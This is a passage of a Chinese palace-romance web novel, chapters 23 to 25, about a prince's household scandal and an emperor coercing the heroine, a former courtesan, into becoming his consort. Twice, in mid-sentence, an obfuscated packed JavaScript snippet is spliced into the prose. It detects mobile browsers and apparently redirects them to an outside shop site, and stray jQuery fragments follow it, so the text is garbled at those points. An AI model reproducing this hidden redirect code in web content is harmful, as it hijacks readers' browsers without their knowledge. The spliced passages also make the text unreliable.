晏霁之挑错道:“王妃的意思,钟姨娘和晏明潜珠胎暗结还是本世子的错吗?是我害她在花园里喝醉还是我逼她对晏明潜投怀送抱?” 没待英王妃接话,瑟缩着的钟姨娘扑通声跪地,满含苦涩的哭声颤颤:“是奴婢的错,是奴婢贪生、竟然在给世子爷蒙羞之后还妄图苟活于世。 奴婢应该在当夜就撞墙而死,以保世子爷颜面和奴婢微不足惜的清白,更是奴婢罪孽深重竟怀上孽种。奴婢死有余辜,不敢存任何妄想,请王妃和世子莫要为奴婢这个罪人置气,更请世子爷开恩,念在您外祖母佟老夫人的份上莫要迁怒钟家。” “扶钟姨娘起来。”英王妃吩咐心腹嬷嬷,她既然召集丈夫和儿子商量,自是决定帮衬:“你能没错吗?要不是你这么多年一直冷落表妹会闹出这种事吗?” 晏霁之冷眉相斥:“王妃要纳她前我明白告诉过你,我看不中她,是你非要一意孤行;她进府六年,我连她的手都没碰过,本世子的态度连瞎子都能看懂。说冷落,王妃不觉可笑,你怎么不干脆怪天为何要黑、酒为何要喝醉人?!” “孽障,你放肆!”英王妃怒火猛涨,下刻被英王爷晏墉咆哮喝止:“够了!” “那就闲话少说,父亲母亲直言你们预备如何处置吧?”晏霁之讽刺,他背后,霍灵渠都察觉出英王妃的态度而英王恐怕不反对,这是想顺势把钟姨娘转给大爷做妾。 英王妃顺顺气道:“这毕竟是你冷落钟姨娘多年造成的,要论错,你的错更多;况且你没碰过钟姨娘,这事算不得给你戴绿帽;再说她还是你的表妹又怀着晏家骨肉,还能逼她去死吗?既然事情已经成这样,钟姨娘今后就改为做大爷的贵妾。” 晏墉补充:“世子想要任何补偿,都可。” “呵呵,一个从没碰过的妾室换得个想要任何补偿都可,确实不亏。”晏霁之冷冷一笑,笑如水中月冷意更比冬夜寒:“晏家在胶州有十二家商铺,去年晏明潜三十岁生辰,父亲把其中四家商铺给了他,我就要胶州的十二家商铺。” “你说什么?”晏明潜立惊,难以置信他敢这么狮子大开口,晏霁之反问:“你想让我找薛驸马商量合计怎么把你阉掉吗?” “好!”英王晏墉黑着脸喝住他们兄弟的争端,拍板决定:“胶州的商铺全部转给世子。” 23. 第23章 夜深深,浓稠的黑幕犹如掉进海洋最深处的海沟深渊,唯剩看不到边际的恐慌笼罩。 香闺春帐温暖如故,台前琉璃映珠宝生辉,橘黄烛火照床帏轻纱伴随床榻的震动而摇曳;燃烧孜孜不倦地践行蜡烛的宿命,当烛泪将尽烛油生硬,帐幔也终于安静垂落。 未久,娇柔低语婉转:“世子若心中难受,过两日妾身陪您出府散散心?” 燕好时霍灵渠就察觉他情绪不对,设身处地想想,她尚且嫌膈应,晏霁之那么挑剔,这事没准能恶心得他反胃大半月都没食欲,况且再过十多天就是他的二十七岁生辰了。 “五个儿子,比得父亲疼爱,我应该只比晏如瑰好点,能排在第四,但这还有前提;倘若我不够聪慧而又孝顺母亲、按亲娘心意偏向外祖家,我还是能获封世子,但十一个儿女,我应该就会成为最不受亲爹待见的那个。” 霍灵渠默然,他这个庶兄那么多年还要处处和他争强何尝不是亲爹给宠出来的;这事,摆明就是晏明潜故意挑在晏霁之生辰前恶心他,英王爷会看不出来吗,补偿给再厚又如何?明明有多种解决办法,偏偏要选最恶心的这种。 “世子有否想过趁势把贾姨娘她们这批妾室都给散去?钟姨娘会怀胎的原因实在过巧,我总觉得王妃给的说辞经不起推敲,反而更像他们两个早就有染。” “一年半,我曾经想睁一只眼闭一只眼就当做不知道,可我睁一只眼闭一只眼,他们就真当我眼瞎非要得寸进尺可劲儿恶心我才够;既如此,我只能提前推把,让钟姨娘的贴身丫鬟把她服用的避子药给换掉。” 霍灵渠惊讶抬头,黑夜朦胧看不清他的神情;晏霁之抬手抚抚她柔嫩的脸颊,难辨悲怒:“四个人,果然一个都经不起试探。仅是没助庶长子升官,王爷就要变着法纵容。 悄悄打胎,我能继续当做不知道;不想再留府里蹉跎年华,大可让钟姨娘去田庄养胎,她生下孩子之后回钟家,我也能帮他们把最后的情面留住。非要恶心我,难道我好欺负吗?谁给他们的错觉,我都被搅迷惑了。” “世子是否对亲娘心寒了?”英王爷好歹心知理亏要给补偿,可英王妃那架势,活像就没顾及过亲儿的感受甚至认为晏霁之才是造成此事的祸首,多可笑啊。 “流光有想去的地方吗?我最近在考虑外放做地方官远离京畿,犹豫个把月始终想不好,流光以为我们是离开两三年好还是继续留京?” 霍灵渠微微怔愣,考虑道:“妾也不知,但只要不是世子一时冲动做的决定,都好。” 沉默会儿,晏霁之搂过女人要开始新轮欢爱,霍灵渠回抱他,柔声拦道:“夜里安置吧,若是心中不舒服想要发泄,你告假留在家里等白日再纵情声色就是了。” “好,过两日我陪你去京郊的大相国寺烧香。” 两耳不闻窗外事,只顾抱着美人放纵两天三夜,晏霁之舒坦些,带她出府散心游玩。 大相国寺坐落在城外西郊二十多里外的景阳山山腰,平日里香客云集,每逢佳节还会在山脚形成热闹的庙会市集;即使冬月冷,通往大相国寺的山路上仍有稀疏而陆续不绝的身影来来往往,如同响自天外的佛前钟声萦绕山间,空旷悠长。 霍灵渠身着玉兰云缎细褶棉裙,鸦青的长发只用银丝带挽起、不簪任何金簪珠饰,她在大雄宝殿前摘下斗篷递给随行的小婢女,由大丫鬟绿岫陪着进殿参拜。 晏霁之没进殿内,只站在大雄宝殿外的空地,听殿内诵经声不绝看殿外檀香缥缈。他一袭月白云绣长袍,身形颀长、相貌瑰丽,虽然神情疏淡、发散着生人勿近的气息也不妨碍他成为一幅赏心悦目的美男图画。 “告假,陪宠妾来城外拜佛,霁之你可真是有心人。” “魏王殿下,”闻声而望,看清楚来人,晏霁之拱手行礼寒暄:“王爷也好雅兴。” “本王只是来听念空大师讲佛经,哪能及你佳人在侧。”魏王一身黑袍,单单双方间着装颜色就是鲜明对照,他眼风扫过正在大雄宝殿内拜佛的倩影,淡笑道:“流光姨娘二十四岁了吧,这是想来求子?” “散心,”晏霁之似乎是想了想又补充:“府里有点腌臜事。” “那本王就不打扰你们了。”魏王闲适走开,晏霁之目送他的身影,人消失还看得出神,霍灵渠走到他身边,讶异道:“世子在想什么呢?” 晏霁之感慨出声:“刚刚遇见魏王,突然想到二十年前,魏王高傲、陛下孤僻,我自矜,但都没失掉童真;嬴天漾和老六天天调皮捣蛋,灵渠最无忧,还有舒窈、巨浪……原来我们曾经相伴玩闹过整个童年,二十年前可能都是大家最欢乐的年华。” 霍灵渠浓密的睫毛颤了颤,轻声呢喃:“如您所想,能够各自天南地北或许是最好。” “应该是的,正如多年前魏王就往晏家埋暗钉。不过有件事很奇怪,三年多前他又把埋在晏家的暗钉给陆续撤掉,仅仅只在英王府的前院留一个暗线,为何呢?” “可能因为已然是正徽年间了。”霍灵渠扬起笑意:“您要去拜会念空大师吗?” “下次吧。”晏霁之带她走出大相国寺,站定在这座宝刹前放眼眺望过澄蓝的天空,他才迈步慢慢走山路慢慢闲谈:“莫行首自赎离开撷芳馆了,你对妹妹和外甥有安排吗?” 霍灵渠嗯道:“妾想过请表哥来趟京城带他们回外祖家,可我想不起来表哥现在在何方,只能送妹妹和小祐去别处安家,至于何处?妾真有些想不好。 我是想选在江南,初初想过扬州和苏州举国闻名应该很好可又觉得太过繁华,不适合;润州、常州和宿迁倒也不错可又忍不住会忧心,千里之外、举目无亲的,出点事都没个照应,可不让他们离远些就怕难能有安稳生活。” “选润州吧。”晏霁之善解人意道:“我在润州有朋友和商铺田地,能照应。” “好,”霍灵渠小脸惊喜,刹那甜笑得眉眼弯弯如桃花盛放,她主动挽他的手臂,一派轻松地撒娇:“和妹妹见面时妾就告诉她这个消息,妾都不知该怎样感谢世子了。” 晏霁之改为将女人揽进怀中,拾级而下,慢慢观赏京郊风景,午膳就在田野间烤肉吃,红日偏西时分回城,又在家里舒缓两日才去工部衙门。 霍灵渠琢磨怎么说服妹妹在没报仇前离开京畿,思来想去,若是苦心劝说没用便只能硬管加以给承诺,只是她没想到她考虑再周全也敌不过皇帝的决定。 早晨有薄雪飘落,霍灵渠没在意,冒着飘雪带婢女出府乘坐马车前往乌台巷。 因天冷,霍桑柔没抱娃,独自在院前等着,看到英王府标记的马车出现,姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459215|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下马车,她即拉着姐姐往院里走顺便悄悄话‘告状’。 “上月来的那个男人又来了,现在带小祐在屋里玩。问我哪来的银两给自己赎身,知道是英王世子给银两居然硬塞银票给我让我去还,还说什么要和姐姐你把当年没能履行的婚约完成,我真怀疑他脑子不好。” “姐姐猜到他在,上个月他和我提过想再续前缘,一个月后让我给他答复。” 走到屋檐前,霍灵渠把随行的俩婢女支开,推门和妹妹进屋,见小祐兴高采烈玩蹴鞠,皇帝坐在桌前喝茶,嬴忱璧看见她,展笑道:“这孩子很聪明。” 霍桑柔暗暗撇撇嘴,走过去抱娃让孩子别玩了,冬月里玩得出汗容易着凉的。 没避讳妹妹和小祐在场,霍灵渠敛衽施礼,给出答复:“我考虑好了,谢谢您的好意,可霍灵渠无德无能实在受不起您的厚爱;您的忧患自然也是我忧心所在,但我相信霍家多数都是明白人,有一二个想寻死路掀不起风浪。” “晏霁之夜夜宿在你屋里?”正徽帝嬴忱璧置若罔闻,自顾发问:“自你进英王府起,他别的妾室全部成了摆设,是吗?这个月尤其不像话,他告假留在家里就为日夜寻欢作乐,你也不推拒?” 霍灵渠脸皮薄,这种尴尬的话题让她怎么应答,霍桑柔出头呵斥:“我姐的事跟你有什么关系?别扯什么婚约,那是前婚约,你就是个前未婚夫,还是个早有妻儿的前未婚夫,你有脸再纠缠我姐姐吗?有闲情就回家操心自己的妻妾,赶紧走。” “我没那么大度,不能更不想忍受喜欢的女人陪别人。”嬴忱璧站起来,郑重而凛然:“灵渠,别怪我无视你自己的意愿,我心意已决不容更改;但你放心,我会对你好,我上回给的承诺也作数,你有任何要求尽可提出来,但凡我能做到都会应允。” 霍灵渠俏脸惊变,霍桑柔无语道:“你以为你是谁啊这么自说自话,我姐姐的男人可是英王世子,我告诉你别自找难堪,要不然我们可不再客气了。” “朕是皇帝!”嬴忱璧冷声告诫,看向她保证:“灵渠,我能发誓今生都会对你好,委屈你暂居贵妃位;将来你生下皇儿,朕再立你做皇后,你会在宫里生活得很好。” “哈哈哈……”霍桑柔乐得险些笑喷:“你可太逗了,你怎么不去唱戏啊,还皇帝呢,你要是皇帝,我把头——” “他是皇帝陛下,桑柔不得放肆。”霍灵渠打断妹妹,她紧紧握拳迫自己在皇权前低头,冷得牙齿打颤:“桑柔,姐姐一直对你隐瞒身世,现在姐姐告诉你。 我们的祖父叫霍擎,是五年前年迈致仕的朝堂前任宰执;当今霍太后是我们的姑母,兵马大元帅穆国公是我们的大伯父;我们父亲叫霍漓江,有爵位兴献侯,任正三品刑部侍郎;姐姐七岁时得圣旨赐婚与太上皇的第五子定婚约,他正是如今的皇帝陛下。” “朕明年正月就会册封灵渠为贵妃,”嬴忱璧补充道:“你们姐妹的大仇,朕会做主;朕还可以封你为乡君甚至县主,给你挑个好人家再嫁。” 霍桑柔:“……”这是种什么感觉,她好像在做梦,天爷啊,比太阳打西边出来还神奇:“我我我我带小祐回房捋捋,我我我想我会想通的。刚刚对陛下无礼,您您您您大人大量,别别别别怪罪我。我我我、不不不不,草草草草民告告告退。” 24. 第24章 轻轻的闭门声堪比能碎石裂铁的重锤狠狠击在霍灵渠心头,叫她已然冷得快打颤的身体仿佛被划破皮肉渗出血珠,一点一滴落掉她对将来期许对往后余生的良好愿景。 嬴忱璧走近她,想要顺从心中渴望抱她哪想会吓得女人浑身哆嗦颤抖;霍灵渠本能抗拒,忙退后两步跪地恳求:“名分未定、男女有别,请皇帝陛下自重。” 点滴失落在心间,嬴忱璧问:“你就这么不情愿吗?只是因为会打破你爹的生活,就能令你这般不情愿吗?还是其实另有缘故,晏霁之碰你时难道你也如此般拒绝他吗?” “在您眼里,霍灵渠毫无尊严可言吗?因为我沦落过风尘,已经没有清白身还能得到皇帝垂怜就该对您感恩戴德阿谀谄媚吗?如果是,”霍灵渠闭闭眼忍住泪意,苦笑:“如果是,您若即刻就要草民侍寝,草民自当遵从。” “你当朕是什么,昏君吗?”嬴忱璧好笑:“朕哪里对你不好,皇后的位置也会给你,这是对你不好吗?将来会母仪天下也能让你这么不情愿吗?” “所以我就应该做个任人摆布的木偶,不配有自己的思想,只要别人自认为是对我好,我就应该对他感激涕零吗?”霍灵渠眼圈噙红鼻酸想哭,忍无可忍地反驳:“因为入过娼门,所以即使人尽可夫,我也必须兴高采烈吗?” 嬴忱璧愣了愣意识到她反感为何,别开眼道:“朕不是此意,更无不尊重你,朕真是想对你好想让我们回归正途做回夫妻。” 霍灵渠抬手擦擦眼,冷静请罪:“草民一时狂妄顶撞陛下,请陛下恕罪。” 嬴忱璧伸出手臂,忽停住稍犹豫下才再继续伸手,弯腰将她扶起来,安抚道:“灵渠,你我之间又何需如此见外?对了,进宫前你有什么要求吗?” “我没想好,不是,我还没开始想,能请陛下宽限至腊月初一再让我提要求吗?” “这有何不可?当然行的。”嬴忱璧扬笑安排道:“朕这就派人去传晏霁之,你有没有要携带的物件,衣裳首饰包括银两这些都不必了,朕自会给你备好,若有,朕派人去英王府取。等会儿用过午膳,朕陪你出城送你去城外的皇庄暂住。” 霍灵渠挣扎道:“可否请陛下允准由我通知晏霁之?”她咬咬唇,低首求道:“很快就到他的生辰,草民想等他过完生辰再跟他提,您召他说话时他也能有个准备。” 嬴忱璧笑意殆尽:“你这么在意他?” “他对我很好。”霍灵渠说,嬴忱璧语气微冷:“你是忘记谁害你们母女了吗?” “草民听不懂您的意思,草民要如何报仇自有主张,不敢麻烦陛下费心。”霍灵渠回复,嬴忱璧咬牙退让:“好,朕答应,天黑前朕会派四名宫婢去英王府照顾你;最后这几天,倘若晏霁之敢对你动粗,你即刻派人通知朕。” “陛下何苦如此委屈自己?”霍灵渠垂眸提醒:“到目前为止,我还是他的妾,我没有要阻拦他的理由;世间清白的女子千千万,皇帝陛下何苦委屈自己要个残花败柳?” 嬴忱璧怀疑自己听错:“你是说你今夜还愿意陪晏霁之行房?” 霍灵渠抬眼正视对面的皇帝,泄愤般硬杠道:“您既然很清楚他夜夜宿在我屋里,在意这点事不觉得多余吗?是陛下您主动找上我,在我拒绝之后还要威胁我就范,草民还以为您不在意我的过往,既然您在意又何必恶心自己呢?” “是过往!”嬴忱璧尽量控制怒意:“朕不在意你的过往,可今夜还能算过往吗?你已然清楚朕决心要册封你为贵妃,在这种情况下你竟然还要陪别的男人,你将朕置于何地?” “我从没想过要做您的贵妃更明白拒绝过。”霍灵渠怼道:“是陛下您要硬塞强逼,我是不知道在没有正式的贵妃身份前该如何为您守身。” 嬴忱璧深深看她仿佛要望进她的心里,好笑而自嘲:“你恨朕?这算故意报复吗?” 霍灵渠抿抿唇没接话,相当于默认。 “呵,哈哈…”嬴忱璧大笑起来,倏尔笑声骤停,他抬手按着这女人的肩膀,情绪激烈:“我哪里对你不好哪里对不住你竟然能让你生恨?我不在意你的过往,想要把女人至尊的皇后宝座给你,换来的就是让你恨朕吗?霍灵渠,你有没有点良心?!” 沉默片刻,霍灵渠平静以对:“我想忍,我拼尽毕生耐力压抑自己,可惜终究忍无可忍;我承认我仗着你喜欢我才敢狂妄放肆,可是是你自己找上门来,你能怨谁? 您看皇宫的太液池好吗?您随便扔只猫进太液池里,你看那只猫会喜欢吗?您看龙椅好,您试试把一条鱼放在龙椅里两天,你看那条鱼会不会对你感恩?! 你对我好,就是硬逼强迫威胁我吗?说句最难听的话,嫖客还是捧着银两去青楼寻欢;您却是用权势威逼已经赎身从良的女人不得不从,再许以你认为的好处要求这个女人对你感恩戴德满心欢喜,你不觉得自己很无耻吗? 人各有志,嬴忱璧,难道你连这四个字都没学过吗?你认为做皇后好是你的事,我不想进宫不想做什么贵妃皇后更已经明确拒绝你,你还非要勉强我,连最基本的尊重都做不到,这究竟是在对我好还是只图满足你的私欲? 我厌恶被~操控,我奢望在报仇雪恨以后能凭自己的心意安度余生,可你把它毁了,你把我忍耐那么多年尝尽那么多苦难之后还愿意保留的憧憬和余生最后点期许给毁了!” 难以自持地吼出声,霍灵渠不自觉泪流:“若非我有牵挂,你前脚离开,我后脚就敢逃;即使被抓回,我也不能保证你得到的会不会是具尸体。 因为你是皇帝,因为我有牵挂,所以我必须妥协。但你想让我对你感恩戴德满心眷恋,将来做君臣,我可以表演给你看;若你不满足只做君臣还想跟我要情爱,你也怨不得我恨你,这是你自找的。” 嬴忱璧想不起来上回是多久以前曾如此时此刻般颓然,他几乎不敢相信他费心想要送给未婚妻的凤冠后位于她竟然会厌恶得避如蛇蝎。 “我五岁多时生母病故,成为你姑母的养子;初相见,我刚满六岁,你才两岁,傻憨憨得叫我五哥哥,笑得没心没肺;我讨厌你笑故意欺负你,你都不懂自己被欺负了。 在我刚记事起生母就已失宠,养母对我只有拿捏利用,连外祖家都对我冷淡,因为认定我没可能继承大统甚至终身要仰霍家鼻息,他们有心思讨好我的皇兄却没空管我好坏。我以为不会有人对我好,就算有也是假仁假义别有企图。” 正徽帝嬴忱璧眼眶微红,忍住酸涩道:“我不服气,没到最后步,谁知鹿死谁手?可我们有婚约后我想过放掉自己的梦、甘心辅佐老八,我比你更憧憬我们成婚以后的幸福。 天知道竟然会出现这种阴谋变故把我们活生生拆散?!我心心念念想让我们余生圆满,你对我就丝毫情义都没有吗?” “十一年前,我带着妹妹逃回京城,走到家门前犹豫再三最终还是没进家门就离开。”霍灵渠抬手抹掉眼泪,淡笑哽咽:“我想求助未婚夫,可我的未婚夫娶妻了;授康二十一年五月初十,我逃回京城遭遇当时的五皇子娶妻,真巧。” 嬴忱璧怔愣下眼底闪过震惊,猛然间心头刺痛,他迟疑着把女人紧紧拥在怀里,苦涩道:“不要恨我,灵渠,相信我,我们今后会幸福美满的。” 霍灵渠闭闭眼说:“陛下该回宫了。” 窗外刮着风,飘洒的雪籽透过窗牗被吹灌进屋内,皇帝走后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459216|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍灵渠站在窗前吹冷风,风雪刮过柔嫩的脸颊擦干泪痕,她打个冷颤,不禁又有两行清泪滑落。 “姐,还有半个时辰就能吃午饭,你休息好了吗?姐,姐?我可进来了啊。” 敲门试探没回应,霍桑柔推开门进屋,环视圈看到姐姐坐在桌前发呆没看到皇帝,关好屋门再走过去,看她有些红肿的眼睛,难过道:“姐你哭过了?” “没想到这么快苦尽甘来,感慨而已。”霍灵渠安抚性笑笑,霍桑柔心酸:“姐,我们带小祐逃走吧。我怎么想都觉得你进宫是个火坑,你已经没有清白,他是皇帝还能不嫌弃吗?他图新鲜贪美色宠你两三年,毁掉的就是你的后半生啊。” “不想报仇了?”霍灵渠失笑,霍桑柔抓着姐姐的手臂,认真说:“想啊,可报仇什么时候都行,现在重要的是姐姐你快些逃离火坑,我们当然要先跑掉。 午后我就去撷芳馆,让七娘通禀主公给我们派俩护卫来,姐姐你留家里收拾箱笼;我们连夜逃走,我就不信皇帝能找得到我们。” “姐姐知晓主公在人前的真正身份,可姐姐走不了;我有事求助主公,以替他做事换取他帮我的忙,倘若我离开,他自然也会撒手不再管我的事。” 霍灵渠面有戚戚,眼中黯然,怏怏道:“病愈后姐姐想着再熬两年,熬到不需再求助他,我就可以按自己的心意做主。我们报仇后远离京畿,找个喜欢的地方安家、平和度过余生,看来只能是场奢望。” “是报仇的事吗?”霍桑柔疑惑:“姐,报仇也可以不求助主公,只要布置周密,我们自己也能除掉那个天杀的仇家后安然逃离吧?” “不是报仇,是姐姐的私事;那边形势还不稳定,姐姐赌不起也不想赌。”霍灵渠话落,即被霍桑柔驳斥:“什么事还能比姐姐你自己重要吗?进宫可是火坑,如果不逃走,真进宫以后姐姐你的后半生要怎么办呀?” 霍灵渠站起来,拥住妹妹,宽慰道:“桑柔莫要胡想,苦乐是自己过的,端看人心境,我们会苦尽甘来,不怕。” 霍桑柔眼眸酸酸的,抱着姐姐,好险才忍住没哭。 临近黄昏时刻返回英王府,霍灵渠迈进流光小筑即直奔进屋,靠在美人榻里蜷缩起来,慢慢放空思绪调整,她想得再豁达也必须靠时间平复。 流光小筑有设小厨房,流光姨娘的晚膳照例是三荤两素一汤,被原封不动地退掉后,朱楼悄声走进内室禀告:“姨娘,世子在岚瑟居大发雷霆,已经令箫生传护卫进二门,要把近身伺候王妃的婢女和妈妈们全部杖打三十大板。” “知道了,过个把时辰找笛生打探,世子若还闷闷不乐,吩咐小厨房准备几样宵夜。”霍灵渠疲惫地闭眼转身,靠在美人榻里养精蓄锐以待去哄晏霁之。 飘雪刚收住,寒凉的夜晚里,暗黄的灯笼也发散着忧伤,霍灵渠一袭粉彩锦绶烟罗缎裙外罩织银镶毛斗篷款款走进前院世子外书房的院子,端着恰到好处的温柔关怀及忧虑问笛生:“世子用过晚膳了吗?” “禀姨娘,还没有,世子吩咐谁也不见,姨娘您过来也请您回,请姨娘莫为难小人。” “笛生你放行也就挨顿罚而已。”语毕,霍灵渠侧身接过婢女提着的食盒,阻拦在她们跟前的长随犹豫稍许退避让路;她提食盒走上台阶,来到书房房门外,敲门三下没回应,她推开屋门跨进门槛,重新关好书房门往里走。 整间屋只有书桌上摆着支蜡烛,烛光黯淡浑似蒙尘,晏霁之坐在太师椅里,晦暗的烛火没有照亮他的脸庞反而让他犹如深陷漆黑的夜色中。 “如果我告诉你,这个月我没服避子药,你很可能已经怀有身孕,你会瞒着我悄悄打掉胎儿还是愿意生下来?” 25. 第25章 温婉的笑意逐渐僵硬撕裂,霍灵渠的心态差点就崩掉了。 她压抑着深呼吸,调整好情绪走上前绕过书桌,站在他身侧含怨娇嗔:“什么事竟惹得你这般大怒,把奴婢们杖打不够,自己怄气不用晚膳也不够,还要拿妾来玩笑戏弄?” “玩笑戏弄?呵,确实是最符合流光的回答。”晏霁之抬手捏捏眉心,靠进太师椅椅背,淡漠闭眼驱赶她:“你回流光小筑吧,放心,刚才就是句玩笑话,我服了避子药。” 甚少见他如此心事重重的模样,霍灵渠蹙眉,近前试探着坐到他怀里,环抱他哄劝:“很快就到世子的生辰,何苦还跟自己置气,多少烦心事都暂且抛开好吗?” 晏霁之双手按着太师椅的扶手,沉默下,自嘲:“流光好奇我为何愿意给你赎身买你吗?” 霍灵渠古怪地仰头,狐疑道:“妾自然好奇,可您今儿到底是怎么了?是因为府里已经传开钟姨娘改为做大爷的妾室伤到您了吗?若不然妾身陪您出府别居几日?” “我为何愿意买下你?我一直认为这不是问题疑惑,就是件理所当然顺理成章的事,很多年都那么想从不怀疑,最近发现原来这真的能算是个问题。” 晏霁之长叹声,抬手搂住怀里的女人,慢慢平复道:“没什么,在府外原就有糟心事,心情不畅;回府后被王妃喊去说话,王妃想让我把新得的胶州商铺拿出八家孝敬母亲。两件事叠起来闹得我怒火上头,干脆在岚瑟居发泄了通。” 这还要点脸吗?霍灵渠对这位英王妃快失语了:“世子考虑外放做地方官,妾身以为或许走比留好。妾是不知王妃向世子要孝敬有无大房手笔,但总觉得钟姨娘是个隐患。 王妃向着钟姨娘,钟姨娘为讨大爷甚至贾侧妃的欢心就会帮衬大房,大房能借钟姨娘给世子和亲娘之间制造源源不断的麻烦和争端,留在府里何苦来哉?” “眼线给我报过消息,巧了,是我外祖母佟老夫人和大房共同的手笔;晏明潜和贾侧妃想给我和王妃制造冲突好令我和亲娘愈发失和,佟家则是真想要拿走六七家胶州的商铺。不瞒流光,收到消息时我存过一丝侥幸,到底是想多了。” “说句诛心的话,你别生气。”霍灵渠替他感伤道:“哪天英王府若是被夺爵抄家,你做平民百姓未尝没有半点好处,至少能清净些。” 晏霁之牵牵唇扯出个淡极的笑容:“我没胃口,流光把宵夜带走吧。” “夜里会饿,您此刻若实在提不起食欲,妾陪您歇会儿,过个把时辰再吩咐奴婢们摆膳。”霍灵渠柔声细语体贴说道,晏霁之抬手抚过她若春水醉人的脉脉剪瞳,没表情没表态,只抱着这个女人静坐两三刻钟后带她回流光小筑。 翌日清早,二人还在内室,屋外响起禀告:“姨娘,王妃派人过来传话请您转达世子,世子既是小辈又非整寿,本月世子生辰府里就不操办宴席了。” 霍灵渠给他系佩饰的手不由僵了下,抬头看他,晏霁之平静地拿过外袍穿好,温声道:“让小厨房把早膳送到前院,你再睡会儿。” “好,天冷,你去衙门前记得多带件氅衣。”霍灵渠温婉地给他理理外袍再送他出屋,站在门框旁目送他走出自己的视野,转向身边的大丫鬟朱楼,问:“府里不为世子办生辰宴,是王妃独自拿主意还是王爷王妃一同商定,知道吗?” “昨夜王爷没踏足过岚瑟居,是钟姨娘陪着王妃,奴婢猜测王爷应当还不知情。” 英王爷晏墉是在徐侧妃院里得知此事的,相较于晏霁之,他更平静甚至就在意料中。傍晚世子下衙门回府,他传二儿说话表示请最亲近的亲戚摆几桌被推辞了,便不再多管。 霍巨浪给妹妹送银票,问问晏家的情况,霍舒窈把新收到的消息倒豆子般往外抛,末了总结:“英王妃不是脑袋有坑就是猪脑袋。” 她可在英王府偷偷埋了眼线,那府里人人都知道的事情她还能不清楚吗?近期眼线一茬茬呈报消息让她都一时间有点理解无能,这还是亲娘吗? “这钟姨娘和晏明潜有染后暗结珠胎非但没受到惩罚还得到成全?”霍巨浪不可思议:“当家人再糊涂都不可能如此颠倒荒唐行事吧。” “比起那亲娘,我看晏霁之他爹对他都算好的了。”霍舒窈无语:“这还是亲娘和独子,连偏心都没其他儿女能让英王妃偏袒的,我就想不通她和独生儿子闹僵图啥啊?” 霍巨浪沉吟下,考量道:“也许是因为对待佟家的分歧,晏霁之和外祖家生疏不算秘密,振羽尚且多回牵线想让表哥与外祖家热络,英王妃对亲儿不满在情理之中。积年累月,矛盾不断增多,势必会母子情淡。” 霍舒窈吐槽:“亲儿跟自己娘家不热络而已,至于吗?我还是觉得英王妃脑袋有坑。” “是蠢而不自知。”霍巨浪冷笑:“前两天二叔还跟我商量,想把振羽扔到外地去,扔得越远越好,十年八载都别回,省得振羽将来要把自家搬空填给外祖家。 我猜晏霁之未必不愿意离京,二哥想跟他挑明谈,让他带灵渠远赴几千里外去做地方官且过两年将灵渠扶正,最好二十年别回京,这是最稳妥的解决办法。” “四年了,她还不肯怀胎。”霍舒窈觉得老哥想多了事情还悬着呢,兄妹俩再商量番后兄长离开,她把银票放进备好的木匣交给奴婢,让他们连夜送去英王府。 老哥知晓她隔几月就给霍灵渠送补品和二百两银票以后非要掺和份添三百两银票,对堂妹上心怎么就不晓得给亲妹妹也补贴份,哼哼! 这只木匣送进英王府的流光小筑时已将近亥时,霍灵渠捧着木匣怔愣片刻才想起来是谁谎称流光的仰慕者悄悄给她送银票和补品,心头微涩,缓过情绪,她再回寝屋。 “世子能查出这一两年是谁时常给妾送礼吗?”她猜晏霁之很清楚否则哪能当做不知,可场面话只能这般讲:“收人家不少银票和补品怪惭愧的,妾想送份回礼。” 闻言,晏霁之把书卷递给她,应道:“也好,累计大概是二千两的财物,我查到这位是谁就给她送份等价的回礼。” 霍灵渠甜笑嗯声,抱着书卷问:“几日了,心情好些了吗?” 晏霁之躺下来,以手臂枕头,他望着帐顶答非所问:“陛下突然说想给我送些侍妾,问我想要什么模样品性的,我拒绝了,流光以为陛下会记仇吗?” “总不至于那么小心眼儿。”霍灵渠猜想,犹豫劝他:“说来世子也该准备娶媳妇了,你惯挑剔的,连丫鬟小厮都小题大做筛选,选媳妇不得把眼睛看花了,是该提早一两年准备,你想想自己喜欢什么样的姑娘?” 男人视线落向她手捧的书卷,霍灵渠会意,把书卷放进多宝格,走回床榻前褪掉木屐,她进床铺躺在他怀里,晏霁之正好放下手臂搂住女人,随意道:“流光看过海吗?” “小时候,家中的湖泊很大,姑母家的湖泊更大得望不到尽头,爹爹说最大的湖叫海洋,我好奇海有多大闹着想看,爹爹就带我去东海边看东海。”霍灵渠声音低落。 晏霁之失笑:“把自家的堂兄弟和亲戚家的娃都给捎带上了吧,像公鸡带群小鸡出游。童年时我沾灵渠的光也看过海,我们浩浩荡荡去到东海边,大家甭提多新鲜玩得高兴极了,舒窈欢天喜地还非要把自己也骂进去说是公鸡带群小鸡。” 霍灵渠忍不住笑了,笑过却更悲:“早已物是人非。” 晏霁之抬手捏起她的下颌,点点女人花瓣般的红唇,四目相对,他抱着她赴巫山云雨;没多久床笫间传出响动,帐幔落下掩尽旖旎春光。 生辰当天,晏霁之专门告假在家,他亲娘故意出府回娘家,不想姨夫霍漓江会登门。 “白雪纷纷天寒地冻,外甥我都没摆生辰宴,姨夫好意给 